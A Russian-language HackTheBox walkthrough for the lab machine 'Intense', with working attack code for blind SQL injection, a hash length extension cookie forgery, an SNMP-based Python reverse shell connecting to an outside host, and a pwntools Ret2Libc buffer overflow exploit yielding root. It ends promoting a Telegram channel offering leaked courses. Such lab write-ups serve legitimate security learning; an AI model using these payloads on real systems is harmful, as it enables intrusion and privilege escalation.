HackTheBox. Прохождение Intanse. Flask, атака HLE, SQL инъекция, SNMP to RCE, Ret2Libc

-t2pd_zcieqroaenkd60addoadc.png


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье получаем секрет Flask с помощью SQL инъекции, проводим криптоатаку удлинения сообщения, получаем RCE с помощью SNMP, и эксплуатируем уязвимость переполнения буфера в приложении с помощью Ret2Libc атаки.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.195, который я добавляю в /etc/hosts.

10.10.10.195 	intence.htb


Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1


rjt_vqlukg8_zqzeyl9pafwvz-c.png

nmap -sU intence.htb


srgmq-habcdhznpwkd8af7js094.png

Имеем только SNMP, веб-сервер и службу SSH, поэтому смотрим сайт. Нам говорят, что мы можем авторизоваться как гость, а также предоставляют исходные коды.

urctdqlvvwor2tngmyytgdpa9o8.png

Давайте авторизуемся, чтобы иметь представление о структуре сайта.

ikc4a8rjzoihpihbl49skqcjdbo.png

Так, мы можем что-то отправлять, давайте перейдем к странице Submit.

tdug-_5dfigb4m1eo-j3_ueuzse.png

Тестировать ничего не будем, так как у нас имеются исходные коды. Скачиваем и поочередно просматриваем. Из файла admin.py видим возможности администратора — просматривать директории и читать файлы. Также понимаем, что используется flask.

pencyzqtb21htag3ud6os2utkjo.png

Из файла app.py следует, что при запросе Submit используется база данных, а пользовательские данные не фильтруются.

zycfgvamux6pzjov8gp2asgxyua.png

Еще отмечаем способ создания cookie.

jgtfpic9hdilril12mdtgzsmzj0.png

Перейдем к файлу lwt.py, в котором и происходит работа с сессиями. Отмечаем длину секрета и структуру cookie.

g6gdltah53xkgvksj7s9zvj5fi0.png

kzjnp9s4cbx88mb5qmm8yvxtvl4.png

И в последнем файле видим сам запрос в базу данных и принцип проверки привилегий пользователя.

bkcxju4jtd4rcaiwnjjikqljrbg.png

Все ясно, давайте посмотрим cookie.

6zp84kp6kvp7fzkoytn5yn6pipk.png

Мы можем легко декодировать данную строку с помощью flask-session-cookie-manager.

149zeailqny6t-vgpczjgx8v6l8.png

Но нам нужен секрет админа.

SQL инъекция


Попробуем получить его с помощью SQL инъекции в Submit. Таким образом, мы имеем следующий INSERT запрос:

INSERT INTO messages VALUES ('%s')


Поэтому наш запрос должен быть выполнен в следующей конструкции:

' AND ( SELECT ... ) ) -- -


Тогда полный запрос в базу данных будет таким:

INSERT INTO messages VALUES ('' AND ( SELECT ... ) ) -- - ')


Если без комментариев, то такой:

INSERT INTO messages VALUES ('' AND ( SELECT ... ) )


В самом запросе будет использовать конструкцию:

SELECT CASE WHEN () - THEN 1 - ELSE MATCH - END


Тогда если запрос может быть выполнен, то мы получим ответ 'OK', а иначе ошибку 'unable to use function MATCH in the requested context'.

Мы можем посимвольно узнать секрет, хранящийся в таблице users. Тем более, что мы уже знаем секрет гостевого пользователя (role = 0). Учитываем, что используется SQLite база данных, давайте узнаем длину секрета (так как мы ее знаем, определим реакцию на верный и неверный запрос) с помощью следующей вставки в запрос (вместо XXX наше число):

' and (select case when ((select length(secret) from users where role=0)=XXX) then 1 else match(1,1) end)) -- -


moxjxabfb-tpkol0eqltldsnhko.png

Теперь давайте проверим посимвольное извлечение секрета. Здесь поможет следующая конструкция (NUM — это порядковый номер символа, а XXX — сам символ).

' and (select case when ((select substr(secret,NUM,1) from users where role=0)='XXX') then 1 else match(1,1) end)) -- -


vg3wxewpi8jgh5iuxq2qcii03ru.png

Таким образом, все предположения подтвердились. То есть мы можем узнать секрет пользователя с role=1. Его длина (так как это хеш) равна 64.

gsaxaxqkqbgiaz8gpsuebznu8ak.png

Перейдем в Intruder и выставим следующие настройки.

afgxkzqsyidro5fygxn1vrignes.png

xl7dinnpam7bue-t5chlaozbvve.png

fjy3gogzbu_qpxdrcz5nyvvfqju.png

И запустим атаку. Через несколько секунд получим результат о выполнении. Установим фильтр, который исключит все ответы, где присутствует «MATCH». И увидим 64 строки. Сортируем их по payload1 (позиция символа).

xwk6vwq6fnphvkoojtkj7nyv8xw.png

Выделим все строки и сохраним в файл только payload2.

53u1ciufdyetze1esbf7qoyzvlq.png

И смотрим наш секрет.

d5vgicg4l5y0o3m2ce9hrewg8jk.png

HLE атака


Мы не можем просто взять и подставить данный секрет в cookie. Но можем выполнить атаку HLE.

Выполнить атаку можно с помощью следующего кода, использующего библиотеку hashpumpy.

import hashpumpy
import binascii
import requests
from base64 import *

url = "http://intence.htb/admin"
new_notice = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
old_cookie = "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.atnwv4CK60D2CllL+KoPOT7nlxrkm3604YnlMZuII8s="

data_cookie = b64decode(old_cookie.split('.')[0])
sign_cookie = b64decode(old_cookie.split('.')[1])

for offset in range(1,64):
    print("Find offset: " + str(offset), end='\r')
    (new_sign, new_data) = hashpumpy.hashpump(binascii.hexlify(sign_cookie), data_cookie, new_notice, offset)
    new_cookie = b64encode(new_data) + b"." +  b64encode(binascii.unhexlify(new_sign))
    r = requests.get(url, cookies = { "auth" : new_cookie.decode('utf-8')})
    if r.status_code == 200:
        print("Offset found: " + str(offset))
        print("Admin cookie: " + new_cookie.decode('utf-8'))
        break


62qgamayktzcimit4ccd7yqlnv0.png

И получаем куки админа, вставим их на сайте.

a0xb3mihpkcgj0px_-s0eocby1u.png

Отлично, у нас повышенные привилегии.

USER


Давайте проверим, можем ли мы читать файлы и просматривать директории.

jywbyzdovzcpzrnwgbh1y33lfk0.png

y0qz0ftxjbexs0ag5fnl3smw6c0.png

Отлично. Из файла /etc/passwd отметим для себя пользователя user и SNMP.

fwsbtjuzddjembhk6w6sjddrcrs.png

И забираем первый флаг.

go9x3ubcs2cnce1zj4pt1lxgmzq.png

SNMP to Reverse shell


Давайте посмотрим файл конфигураций SNMP. Из него мы получаем пароль, который позволит нам создавать записи (rwcommunity).

pap3ahw3lk3h4rytzy3hhjtsxvm.png

Давайте создадим запись, содержащую реверс шелл на питоне. Для этого нам нужно заполнить следующие поля:

nsExtendStatus."command"
nsExtendCommand."R4command"
nsExtendArgs."R4command"


Установим snmp-mibs-downloader.

apt install snmp-mibs-downloader


И теперь создадим запись.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 intence.htb 'nsExtendStatus."R4command"' = createAndGo 'nsExtendCommand."R4command"' = /usr/bin/python3 'nsExtendArgs."R4command"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.112\",4321));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'


wthsau-jsqb5up-szeaqi8ticbu.png

Для выполнения нам нужно знать OID объекта. Есть очень хороший сайт, который может в этом помочь.

i0ooigyqgidvyl6pzuu0tgtofba.png

Так OID объекта — 1.3.6.1.4.1.8072.1.3.2. Выполняем команду и получаем бэкконнект.

snmpwalk -v 2c -c SuP3RPrivCom90 intence.htb 1.3.6.1.4.1.8072.1.3.2


yaazqf8pwvpnejvlu0tox-y9xcc.png

ixrzkqj27ckc3dvnn3y7kkjqcbg.png

ROOT


Получим нормальный bash и посмотрим домашнюю директорию пользователя.

zfhfurswpmiczcfsivtv96tqc30.png

Находим исполняемый файл и исходный код. С помощью netcat копируем файлы на локальную машину для анализа.

mb6ygpnru3tgmyf_tngunhca1a4.png

Из исходного кода программы узнаем, что она прослушивает 5001 порт.

xhsadsavtqfow6bxxtwkypljl4y.png

Давайте проверим.

i9m1vnjmxu6187apfheytkmdo18.png

g0anzomfomoobjkb4exh-dk5s5o.png

Таким образом мы нашли вектор LPE. Данная программа прослушивает локальный порт 5001 и работает от имени root. Пользователь SNMP не имеет интерактивной оболочки (было отмечено в /etc/passwd), но мы можем туннелировать порт при помощи SSH. Давайте сгенерируем ключ и запишем в authorized_keys на удаленной машине.

zs1hbz6hsrnd7ln-8kc2u35mi1m.png

_hzajf88lcrmigzhwpyt6pfpgig.png

А теперь пробрасываем порт.

ssh -i id_rsa -N -L 5001:127.0.0.1:5001 Debian-snmp@intence.htb


3ln-pu1xdpjl_4n2njgt_rscj_o.png

Отлично. Приступаем к анализу программы.

Атака Ret2Libc


Узнаем, какую библиотеку использует программа с помощью GDB, а потом скопируем ее способом, которым мы пользовались ранее.

ue-x6t_vevytzbvrdtutihqjnj8.png

И не забываем проверим используемую защиту.

_1pjvajcapytbjx97j1ezsnnvec.png

Таким образом образом у нас есть и рандомная адресация, канарейка и неисполняемый стек. Для начала напишем шаблон эксплоита.

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 5001
context(os='linux', arch='amd64')
binary = ELF('./note', checksec=False)
libc = ELF('./libc-2.27.so', checksec=False)
r = remote(HOST, PORT)

r.interactive()


bd9ynz5zvsfuqgbzuof6qsxffjo.png

Разберемся с функционалом приложения. Из исходного кода становится ясно, что мы можем создавать, копировать и читать заметки.

Давайте реализуем данные функции. При записи, мы должны прислать 1 байт = 0×01, и после чего 1 байт — размер сообщения и само сообщение.

n8o65jqxxzezd5pa1ie7cvahqxu.png

def W(s):
    r.send(p8(1))
    r.send(p8(len(s)))
    r.send(s)


Копирование требует 0×02, два байта — смещение и один байт размер.

dkzaw1mrp7lelwcu7-u-x2lw6eg.png

def CPY(offset, size):
    r.send(p8(2))
    r.send(p16(offset))
    r.send(p8(size))


И для чтения только байт 0×03.

oufh7jfvwffr7cbxgnh2dt0d-6s.png

def R(size):
    r.send(p8(3))
    return r.recv(size)


А размер буфера равен 1024.

dknwexhioqnbezfvgbb_0pknd14.png

Мы можем переполнить буфер, но нам нужно знать значение канарейки и регистров RBP и RIP. Их мы можем узнать благодаря функции CPY, узнав данные по смещению 1024. Но их сперва нужно занять. Так как мы можем записать только 255 байтов за один раз, то нам нужно 4 раза записать по 255 символов и пятый раз дополнить 4 байта. А потом уже прочитать 1056 байт и отделить 32 байт после нашего буфера.

[  W("A"*255) for _ in range(4) ]
W("A"*4)
CPY(1024, 32)
post_buf = R(1056)[1024:]
_CANARY = u64(post_buf[8:16])
_RBP = u64(post_buf[16:24])
_RIP = u64(post_buf[24:32])
print("CANARY: " + hex(_CANARY))
print("RBP: " + hex(_RBP))
print("RIP: " + hex(_RIP))


tzdan6mgjddpe1dnucddofvauak.png

Зная RIP и зная относительный адрес выхода из функции, мы можем вычислить адрес, по которому загружена программа.

7wngu9tsv1xcbhjfu_wutmcxbe0.png

binary.address = _RIP - 0xf54


И воспользуемся классом ROP, чтобы получить адрес функции write (про ROP уже досконально разбирали).

rop_binary = ROP(binary)
rop_binary.write(4, binary.got['write'])
r = remote(HOST, PORT)
payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + rop_binary.chain()   # 72

W(payload)
[  W("A"*255) for _ in range(3) ]
W("A"*187)
CPY(0, len(payload))
R(1024 + len(payload))
libc_write = u64(r.recv(8))
print("Leak: " + hex(libc_write))


0g8rae6y6fpbsceef5su4dyvd4a.png

И вычислим адрес, по которому загружена LIBC.

libc.address = libc_write -libc.symbols['write']
print("LIBC address: "+ hex(libc.address))


p6-qzx_xuu4acnfkeyskfzswiac.png

Похоже на правду. А теперь получим шелл, используя тот же класс ROP. Как это обычно бывает, перенаправим потоки ввода/вывода, вызываем /bin/sh и перезаписываем функцию write.

libc_rop = ROP(libc)
libc_rop.dup2(4, 0)
libc_rop.dup2(4, 1)
libc_rop.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)

r = remote(HOST, PORT)
payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + libc_rop.chain()   # 152

W(payload)
[  W("A"*255) for _ in range(3) ]
W("A"*107)
CPY(0, len(payload))
R(1024 + len(payload))


Полный код, как всегда, привожу картинкой.

1gqwl1ebl_uyrtscwzpog9ukvha.png

i_px_wg9y6n7ets2if8grvjjana.png

И мы с полными правами.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru